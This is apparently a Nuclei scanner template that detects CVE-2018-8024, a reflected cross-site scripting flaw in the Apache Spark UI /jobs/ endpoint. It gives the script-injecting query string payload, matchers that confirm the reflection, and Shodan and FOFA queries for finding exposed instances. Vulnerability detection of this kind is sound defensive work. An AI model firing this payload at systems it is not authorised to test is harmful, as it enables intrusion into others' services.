id: CVE-2018-8024

info:
  name: Apache Spark UI - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers via crafted query string parameters, potentially stealing session cookies or performing actions on behalf of users.
  remediation: |
    Upgrade to Apache Spark version 2.3.2 or later.
  reference:
    - https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-8024
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8024
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-8024
    cwe-id: CWE-79
    epss-score: 0.05545
    epss-percentile: 0.91826
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query: title:"spark master at"
    fofa-query: title="spark master at"
  tags: cve,cve2018,spark,xss,ui,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>"
      - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/html')"
          - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')"
        condition: and
# digest: 4a0a0047304502200f286dd090e6f6887724bca132cc113c364bf04812f4845060d049595e12afa4022100968b693700b6faf269db67caebbf377c37efe2fbecb72706a1ffc8d8689ef607:922c64590222798bb761d5b6d8e72950